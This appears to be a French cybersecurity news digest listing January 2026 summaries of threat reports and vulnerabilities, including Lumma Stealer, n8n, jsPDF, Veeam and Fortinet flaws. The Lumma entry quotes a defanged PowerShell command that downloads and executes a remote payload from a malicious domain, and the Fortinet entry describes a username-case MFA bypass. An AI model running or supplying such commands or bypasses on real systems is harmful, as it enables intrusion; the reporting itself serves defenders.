Lumma Stealer multiplie les tùches planifiées et accroßt le trafic C2 vers fileless-market[.]cc

Source: billet signĂ© par Brad Duncan (publiĂ© le 14 janvier 2026). Contexte: l’auteur documente en laboratoire un exemple d’infection Lumma Stealer prĂ©sentant un comportement post-infection inhabituel qui gĂ©nĂšre une hausse continue de trafic vers un mĂȘme domaine C2. AprĂšs l’exfiltration des donnĂ©es par Lumma Stealer, l’hĂŽte Windows infectĂ© rĂ©cupĂšre des instructions depuis un lien Pastebin (hxxps[:]//pastebin[.]com/raw/xRmmdinT) utilisĂ©es pour une infection de suivi. Le contenu Pastebin renvoie une commande PowerShell: irm hxxps[:]//fileless-market[.]cc/Notes.pdf | iex, entraĂźnant des requĂȘtes HTTPS rĂ©pĂ©tĂ©es vers hxxps[:]//fileless-market[.]cc/. ...

16 janvier 2026 Â· 2 min

WhisperPair: faille critique dans Google Fast Pair permet l’hijacking et le pistage d’accessoires Bluetooth

Source: COSIC (KU Leuven), 16 janvier 2026. Des chercheurs du groupe COSIC de la KU Leuven prĂ©sentent “WhisperPair”, une famille d’attaques exploitant une mauvaise implĂ©mentation de Google Fast Pair sur de nombreux accessoires audio Bluetooth. ClassĂ©e critique par Google sous CVE-2025-36911, la faille permet Ă  un attaquant d’hijacker des Ă©couteurs/casques et, dans certains cas, d’en suivre la localisation via le rĂ©seau Google Find Hub. Les correctifs dĂ©pendent des fabricants d’accessoires et nĂ©cessitent une mise Ă  jour du firmware. 🎧🔒 ...

16 janvier 2026 Â· 3 min

Attaque supply chain contre l’écosystĂšme n8n via des paquets npm malveillants exfiltrant des identifiants

Source: Endor Labs — Analyse technique d’une campagne de supply chain visant l’écosystĂšme des « community nodes » n8n; mise Ă  jour au 2026-01-13 indiquant que la campagne est toujours active. ⚠ Des attaquants ont publiĂ© sur npm des paquets n8n dĂ©guisĂ©s en intĂ©grations « Google Ads » pour collecter des identifiants OAuth/API via un formulaire de configuration lĂ©gitime, puis exfiltrer ces secrets lors de l’exĂ©cution des workflows vers un serveur sous contrĂŽle adversaire. Cette offensive va au-delĂ  des rĂ©centes failles RCE n8n et exploite la confiance accordĂ©e aux nƓuds communautaires non auditĂ©s. ...

15 janvier 2026 Â· 3 min

Landlock, mécanisme de sécurité et source de télémétrie pour la détection

Selon le blog de SEKOIA, cet article explore Landlock en tant que mĂ©canisme de sĂ©curitĂ© et comme source de donnĂ©es utiles Ă  l’ingĂ©nierie de dĂ©tection. Landlock (Linux) comme tĂ©lĂ©mĂ©trie pour la dĂ©tection Contexte L’équipe Sekoia TDR (Threat Detection & Research) s’intĂ©resse Ă  Landlock, un Linux Security Module (LSM) introduit dans le noyau Linux 5.13. Landlock permet de crĂ©er des sandbox applicatives (contrĂŽles d’accĂšs “par processus”), applicables Ă  des processus privilĂ©giĂ©s ou non, en complĂ©ment des mĂ©canismes d’accĂšs systĂšmes existants (dĂ©fense en profondeur). ...

14 janvier 2026 Â· 3 min

CVE-2025-68428 : faille critique dans jsPDF (Node.js) permettant la lecture de fichiers locaux, corrigée en 4.0.0

Selon IT-Connect (08/01/2026), une vulnĂ©rabilitĂ© critique CVE-2025-68428 affecte jsPDF cĂŽtĂ© serveur (Node.js), pouvant entraĂźner une fuite de donnĂ©es via l’inclusion de fichiers locaux dans les PDF gĂ©nĂ©rĂ©s, avec un correctif publiĂ© en version 4.0.0 le 03/01/2026. Produits et surface affectĂ©s : seules les versions Node.js de jsPDF sont touchĂ©es, via les fichiers dist/jspdf.node.js et dist/jspdf.node.min.js. Les mĂ©thodes concernĂ©es sont loadFile, addImage, html et addFont. Nature de la vulnĂ©rabilitĂ© et impact : le NIST indique que si des chemins non sĂ©curisĂ©s sont transmis (ex. premier argument contrĂŽlĂ© par un attaquant) Ă  ces mĂ©thodes, il est possible de rĂ©cupĂ©rer le contenu de fichiers arbitraires du systĂšme oĂč s’exĂ©cute le processus Node, et que ce contenu est inclus tel quel dans les PDF gĂ©nĂ©rĂ©s. Cela peut mener Ă  une fuite d’informations depuis le serveur đŸ“„âžĄïžđŸ”“. ...

10 janvier 2026 Â· 2 min

CVE-2026-21858 : RCE non authentifiée critique dans n8n (maj 1.121.0 requise)

Source : Cyera Research Labs (blog de recherche, 7 janvier 2026). L’article dĂ©taille une faille critique dans n8n entraĂźnant une exĂ©cution de code Ă  distance non authentifiĂ©e et explique la chaĂźne d’exploitation, l’impact et la correction disponible. 🚹 ProblĂšme et impact VulnĂ©rabilitĂ© : CVE-2026-21858 (score CVSS 10.0) dans n8n. Type : exĂ©cution de code Ă  distance (RCE) non authentifiĂ©e via confusion du Content-Type. Impact : prise de contrĂŽle de serveurs n8n localement dĂ©ployĂ©s, estimĂ©e Ă  ~100 000 instances affectĂ©es. Correctif : mettre Ă  jour en 1.121.0 ou ultĂ©rieur; aucun contournement officiel disponible. đŸ§© DĂ©tails techniques (rĂ©sumĂ© fidĂšle) ...

10 janvier 2026 Â· 3 min

Ransomware 2025 : fragmentation des groupes et forte hausse des victimes selon Emsisoft

Selon Emsisoft News (Luke Connolly, 7 janvier 2026), l’analyse des donnĂ©es 2025 issues de RansomLook.io et Ransomware.live met en lumiĂšre une hausse marquĂ©e des victimes de ransomware, la fragmentation de l’écosystĂšme criminel et l’efficacitĂ© accrue de l’ingĂ©nierie sociale. 📈 Tendances chiffrĂ©es. Les victimes « revendiquĂ©es » par les groupes passent d’environ 5 400 en 2023 Ă  8 000+ en 2025 (selon les deux sources). La croissance 2025 sur 2024 atteint +46% (RansomLook) et +33% (Ransomware.live). Le nombre de groupes actifs progresse en parallĂšle (jusqu’à 126–141 en 2025), avec une moyenne de victimes par groupe restant globalement stable (~60–65 depuis 2023/2024), suggĂ©rant que la fragmentation maintient la cadence d’attaques. ...

10 janvier 2026 Â· 2 min

SafePay : un gang de ransomware centralisé impose la double extorsion et chiffre en 24 h

Selon l’article, dans le contexte d’une intensification des opĂ©rations en 2024-2025, un nouveau groupe de ransomware nommĂ© SafePay s’impose comme une menace mondiale majeure. 🔒 SafePay fonctionne Ă  l’opposĂ© des modĂšles RaaS dominants : le groupe est centralisĂ© et fermĂ©, gardant un contrĂŽle strict sur l’infrastructure, les nĂ©gociations et les profits. Cette approche OPSEC vise Ă  rĂ©duire les risques de fuites de code et d’infiltration par les forces de l’ordre qui ont affectĂ© des groupes comme LockBit et ALPHV. ...

10 janvier 2026 Â· 2 min

Veeam corrige 4 vulnérabilités dans Backup & Replication 13 : mettez à jour en 13.0.1.1071

Selon IT-Connect, Veeam a publiĂ© des correctifs en ce dĂ©but janvier 2026 pour quatre vulnĂ©rabilitĂ©s affectant Veeam Backup & Replication 13, issues d’audits internes. Trois d’entre elles permettent une exĂ©cution de code Ă  distance (RCE). ⚠ DĂ©tail des failles (CVE, impact, privilĂšges requis, sĂ©vĂ©ritĂ©, CVSS): CVE-2025-55125: RCE en tant que root via crĂ©ation d’un fichier de configuration de sauvegarde malveillant — PrĂ©requis: Backup/Tape Operator — ÉlevĂ©e, 7.2 CVE-2025-59468: RCE en tant qu’utilisateur postgres via envoi d’un paramĂštre de mot de passe malveillant — PrĂ©requis: Backup Administrator — Moyenne, 6.7 CVE-2025-59469: Écriture de fichiers arbitraires en tant que root — PrĂ©requis: Backup/Tape Operator — ÉlevĂ©e, 7.2 CVE-2025-59470: RCE en tant qu’utilisateur postgres via des paramĂštres d’ordre ou d’intervalle malveillants — PrĂ©requis: Backup/Tape Operator — ÉlevĂ©e, 9.0 (CVSS) Pour la CVE-2025-59470, malgrĂ© un score CVSS 9.0, Veeam abaisse la sĂ©vĂ©ritĂ© Ă  ÉlevĂ©e car: 1) l’exploitation exige dĂ©jĂ  le rĂŽle Operator, confĂ©rant de forts privilĂšges; 2) l’application des bonnes pratiques de sĂ©curitĂ© Veeam rĂ©duit la probabilitĂ© d’exploitation. ...

10 janvier 2026 Â· 2 min

Plus de 10 000 pare-feu Fortinet encore vulnérables à un contournement MFA (CVE-2020-12812)

Cyber Security News rapporte dĂ©but janvier 2026 que The Shadowserver Foundation a ajoutĂ© la vulnĂ©rabilitĂ© Fortinet CVE-2020-12812 Ă  son rapport quotidien des services HTTP vulnĂ©rables, confirmant plus de 10 000 pare-feu FortiGate exposĂ©s dans le monde, alors que Fortinet a reconnu une exploitation active fin 2025. La faille CVE-2020-12812 (score CVSS 7.5 – High) affecte les portails FortiOS SSL VPN (versions 6.4.0, 6.2.0 Ă  6.2.3, et 6.0.9 et antĂ©rieures) et permet un contournement du MFA. Un attaquant peut se connecter en modifiant simplement la casse du nom d’utilisateur (ex. “user” → “User”) en raison d’un dĂ©calage de sensibilitĂ© Ă  la casse entre FortiGate (utilisateurs locaux sensibles Ă  la casse) et des serveurs LDAP tels qu’Active Directory (souvent insensibles Ă  la casse), ce qui autorise l’authentification par appartenance Ă  un groupe sans demander le deuxiĂšme facteur. La vulnĂ©rabilitĂ© figure depuis 2021 au catalogue CISA KEV aprĂšs un usage par des acteurs de ransomware. ...

6 janvier 2026 Â· 2 min
Derniùre mise à jour le: 11 Feb 2026 📝